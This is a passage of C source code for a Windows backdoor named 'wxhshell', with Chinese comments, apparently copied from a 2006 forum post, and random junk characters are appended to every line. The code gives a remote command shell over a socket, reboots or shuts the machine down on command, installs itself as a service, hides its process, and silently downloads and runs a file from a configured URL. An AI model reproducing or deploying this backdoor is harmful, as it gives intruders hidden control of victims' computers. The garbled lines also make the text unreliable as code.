  V,vc_d?,_o  
  // 帮助 Bh,Q8%\6  
  case '?': { vbaC+AiX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oBC]UL;8xJ  
    break; s*.3ZS5  
  } /e(W8aszi  
  // 安装 AX K95eS  
  case 'i': { (7~%B"  
    if(Install()) cf\&No?-p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G1/Gq.<  
    else .zIgbv s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %0zS  
    break; T6X}Ws"  
    } x)$2nonM  
  // 卸载 %jT w  
  case 'r': { +!><5  
    if(Uninstall()) 03Ukw/D&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h\FwgkJP  
    else 8O9Gs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J)Ol"LXV  
    break; hJLT!33:  
    } Qh8C,"a  
  // 显示 wxhshell 所在路径 UBIIo'u  
  case 'p': { 8jNOEM(0Y+  
    char svExeFile[MAX_PATH]; Z0W0uP;J  
    strcpy(svExeFile,"\n\r"); 2LC w*eT{)  
      strcat(svExeFile,ExeFile); q~M2:SN@X  
        send(wsh,svExeFile,strlen(svExeFile),0); OT@yPG  
    break; _@K YF)  
    } 7f* RM  
  // 重启 r>O|L%xpv  
  case 'b': { \OY}GRKt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /?U!y?t&@  
    if(Boot(REBOOT)) b`zET^F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {mf.!Xev  
    else { ^e%k~B^  
    closesocket(wsh); x 'mF&^  
    ExitThread(0); gH'3 dS!{  
    } Sc{Tq\t;%  
    break; (0}j]p'w  
    } #D0 ~{H  
  // 关机 P7UJ-2%Y+  
  case 'd': { R>HY:-2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }1@E"6kF  
    if(Boot(SHUTDOWN)) ^cn@?k((A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JnHNkCaU  
    else { s??czM2O  
    closesocket(wsh); . pP7"E4]  
    ExitThread(0); A2 BRbwr>  
    } t}~UYG( h~  
    break; #C x%OIi[f  
    } Ld~q1*7J  
  // 获取shell ?BsH{Q RYQ  
  case 's': { .1{l[[= W  
    CmdShell(wsh); R;'?;I  
    closesocket(wsh); )qd= {  
    ExitThread(0); CIy^`2wq  
    break; EBwK 7c  
  } In+^V([u+_  
  // 退出 cm,4&x6  
  case 'x': { &mdB\Y?^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s~Gw  
    CloseIt(wsh); `I#`:hj  
    break; lRH0)5`  
    } Bq{ ]Eh0%  
  // 离开 [4\aYB9N  
  case 'q': { u>}zm_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t)'dF*L  
    closesocket(wsh); .pW o>`"  
    WSACleanup(); &?r*p0MQC  
    exit(1); p&O8qAaO  
    break; AIv<f9*.:  
        } QoseS/  
  } e96#2A5f  
  } [zx|eG<&-  
GMe0;StT  
  // 提示信息 ll2Vk*xs  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I*( 1.%:m  
} H`gb}?9R  
  }  J `x}{K  
3Y(9\}E@`  
  return; ofK='G .  
} hLo>R'@uN  
T]uKH29.%  
// shell模块句柄 `-u7 I  
int CmdShell(SOCKET sock) :*cHA  
{ ThiN9! Y  
STARTUPINFO si; xU:4Y0y8  
ZeroMemory(&si,sizeof(si)); D:)~%wu Lt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OEI3eizgH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XR+rT  
PROCESS_INFORMATION ProcessInfo; 9t0Cj/w}  
char cmdline[]="cmd"; ` yYvYc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :cdQ(O.m  
  return 0; ~b#OFnyG  
} PT05DH  
ftaBilkjp  
// 自身启动模式 :G0+;[?N  
int StartFromService(void) 1OP" 5f  
{ k:mlt:  
typedef struct ]LVnt-q  
{ Z)5klg$c  
  DWORD ExitStatus; .jaZ|nN8`  
  DWORD PebBaseAddress; >3!DOv   
  DWORD AffinityMask; LyV#j>gD  
  DWORD BasePriority; rmQ\RP W  
  ULONG UniqueProcessId; F+3!uWUK  
  ULONG InheritedFromUniqueProcessId; }k| g%H J  
}   PROCESS_BASIC_INFORMATION; sjb-Me?  
VfRs[ 3Q  
PROCNTQSIP NtQueryInformationProcess; 3A d*,>!  
D$$3fN.iEL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PLdf_/]-   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zuMO1s  
@.1Qs`pt  
  HANDLE             hProcess; :Fnzi0b  
  PROCESS_BASIC_INFORMATION pbi; BvQUn@ XE  
*w|iu^G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _0m}z%rI  
  if(NULL == hInst ) return 0; F^]aC98]1  
-F1P2 8<?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0$l&i=L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &1~Re.* B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M/l95fp   
hg4J2m  
  if (!NtQueryInformationProcess) return 0; V_lGj  
cCk1'D|X[e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @2?=3Wf  
  if(!hProcess) return 0; $YPQC  
#r(a~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;M-,HK4=  
<ZV7|'^  
  CloseHandle(hProcess); xY+A]Up|w  
/3s@6Ex}E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %; qY  '+  
if(hProcess==NULL) return 0; Txu>/1N,  
`BpCRKTG  
HMODULE hMod; RW)k_#%=  
char procName[255]; &*jixqzvn  
unsigned long cbNeeded; HwM /}-t  
leR" j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 418gcg6)  
-CwWs~!  
  CloseHandle(hProcess); 3}yraX6r!  
h~ZNHSP:  
if(strstr(procName,"services")) return 1; // 以服务启动 "~Us#4>  
0OEtU5lf`y  
  return 0; // 注册表启动 7F~xq#Wi#  
} j~.u>4  
jWhD5k@v  
// 主模块 yG4MUf6  
int StartWxhshell(LPSTR lpCmdLine) F; 0Dp  
{ #|q;t   
  SOCKET wsl; ,rXW`7!2  
BOOL val=TRUE; bu;vpNa  
  int port=0; $sM]BE:  
  struct sockaddr_in door; XGL"gD   
4">84,-N  
  if(wscfg.ws_autoins) Install(); N*? WUn9]  
CO7CNN  
port=atoi(lpCmdLine); )|Jr|8  
7;~ 2e  
if(port<=0) port=wscfg.ws_port; oUCVd}wH  
:%pw`b, =V  
  WSADATA data; [&fWF~D-p<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =g1D;  
1/!nV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Qve`k<Cj"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K:C+/O  
  door.sin_family = AF_INET; b\H/-7<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /oBK&r[(  
  door.sin_port = htons(port); eUYG96Jw  
-g~iE]x6Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2~+'vi  
closesocket(wsl); MuN [U17FB  
return 1; g\E ._ab<  
} f.sPE8 #3=  
0GF%~6  
  if(listen(wsl,2) == INVALID_SOCKET) { s 8C:QC  
closesocket(wsl); UX03"gX  
return 1; *'s&/vEy  
} x[zKtX  
  Wxhshell(wsl); 54bF) <+  
  WSACleanup(); Q^\{Zg)p  
`;R|V  
return 0; Ti /;|lP@  
,80jMs  
} 3J23q  
_ak.G=  
// 以NT服务方式启动 /%c+ eL}l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <1v{[F_  
{ 'Wd3`4V$  
DWORD   status = 0; `Nc`xO?  
  DWORD   specificError = 0xfffffff; 9*"[pt+tA  
W5 M ]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XT\Td}>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'cWlY3%t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  eYPt  
  serviceStatus.dwWin32ExitCode     = 0; /2=_B4E2  
  serviceStatus.dwServiceSpecificExitCode = 0; f'8B[&@L  
  serviceStatus.dwCheckPoint       = 0; i+kFL$N  
  serviceStatus.dwWaitHint       = 0; Fa Qu$q  
ytuWT,u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i G?w;  
  if (hServiceStatusHandle==0) return; q_OY sg  
2X qPZ]2g  
status = GetLastError(); 17?NR\Q  
  if (status!=NO_ERROR) ]=O{7#  
{ UXXqE4x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zEnC[~W  
    serviceStatus.dwCheckPoint       = 0; fq)Ohb  
    serviceStatus.dwWaitHint       = 0; /r #b  
    serviceStatus.dwWin32ExitCode     = status; ~7FEY0/  
    serviceStatus.dwServiceSpecificExitCode = specificError; cN0~;!{i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zzDNWPzsA  
    return; ^^20vwq  
  } T +|J19  
NXC~#oG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^Y1AeJ$L  
  serviceStatus.dwCheckPoint       = 0; eP-R""uPw  
  serviceStatus.dwWaitHint       = 0; r? 6Z1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8+@1wks  
} R] V~IDs   
Xuz8"b5^Zx  
// 处理NT服务事件,比如:启动、停止 OgzGkc@A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nA{ncTg1\  
{ ][T9IAn  
switch(fdwControl) sYW1T @  
{ 4okHAv8;  
case SERVICE_CONTROL_STOP: Lrm tPnL  
  serviceStatus.dwWin32ExitCode = 0; dT*f-W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8 RzF].)  
  serviceStatus.dwCheckPoint   = 0; k}+MvGq  
  serviceStatus.dwWaitHint     = 0; HZ[68T[8b  
  { %Hh &u .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); < |]i  
  } Rz])wBv e  
  return; S|z(  
case SERVICE_CONTROL_PAUSE: o{ YW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~]m@k'n  
  break; dd @COP?  
case SERVICE_CONTROL_CONTINUE: +w_MSj#P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J"a2 @S&  
  break; @5dB b+0J  
case SERVICE_CONTROL_INTERROGATE: N`L' 4v)  
  break; uj+.L6S  
}; wUZ(Tin  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &j wnM  
} *;ZW=%M  
O#uaGziFf  
// 标准应用程序主函数 OmoplJ+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pE YrmC  
{ lL(}dbT~N  
lhW#IiX  
// 获取操作系统版本 R+@sHsZ@  
OsIsNt=GetOsVer(); :*w:eKk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `,8R~-GPD  
p0:&7,+a,  
  // 从命令行安装 4u{E D(  
  if(strpbrk(lpCmdLine,"iI")) Install(); eF gb6dSh  
0YsN82IDD  
  // 下载执行文件 Xoa <r9  
if(wscfg.ws_downexe) { qNuv?.7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $O8EiC!f6  
  WinExec(wscfg.ws_filenam,SW_HIDE); h\: tUEg#J  
} /hA}9+/  
=c5 /cpZ^  
if(!OsIsNt) { z? b(|f\!  
// 如果时win9x,隐藏进程并且设置为注册表启动 ADwwiq#E  
HideProc(); p1`'1`.3  
StartWxhshell(lpCmdLine); gen3"\Og{  
} 7p"~:1hU  
else 6m;wO r  
  if(StartFromService()) m%[2x#  
  // 以服务方式启动 DlQ[}5STF  
  StartServiceCtrlDispatcher(DispatchTable); C>(M+qXL+  
else *Tlws  
  // 普通方式启动 /n<Ncf  
  StartWxhshell(lpCmdLine); xVwi }jtG|  
cvLcre% >A  
return 0; 4)>\rqF+v  
}
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只看该作者 1 发表于: 2006-10-10
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